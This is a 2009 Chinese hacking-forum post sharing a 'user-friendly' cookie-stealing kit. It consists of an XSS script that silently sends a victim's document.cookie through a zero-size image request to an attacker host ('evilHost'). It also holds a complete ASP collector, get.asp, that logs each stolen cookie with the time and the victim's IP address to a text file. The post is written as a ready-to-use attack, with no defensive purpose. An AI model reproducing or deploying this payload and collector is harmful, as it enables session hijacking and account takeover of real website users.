tianlong11 发表于 2009-7-26 07:58:59

人性化的盗cookie脚本

author: cnryan @http://hi.baidu.com/cnryan
       cookie窃取是最常见的跨站攻击之一，不管是用img,iframe方式，还是基于入库型或非入库的XSS，整个操作只需要带Cookie浏览器请求了某个的url即可完成。
本人偏爱Image：
<script>
img = new Image(); img.src = "http://evilHost/get.asp?cookie="+document.cookie;img.width=0;img.height=0
</script>
盗cookie脚本：
       还是一个比较简单的程序，经过一点完善，在获取Cookie同时也记录的时间和IP，比较智能化与人性化，务求达到一个更好的用户体验>"<，呵呵！
get.asp code:
<%
dim getcookie
dim mytime
dim str
getcookie=Request.QueryString
getip=Request.ServerVariables("REMOTE_ADDR")
mytime=now()
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True)
str="<-bof||"& mytime & "||" &getip & "||" & getcookie & "||eof->"
file.writeline(str)
file.close
set file=nothing
set fs=nothing
response.write "haha"
response.end
%>
http://www.hxhack.com/bbs/attachment/32_2_2a2b217bf593661.jpg
页: [1]
查看完整版本: 人性化的盗cookie脚本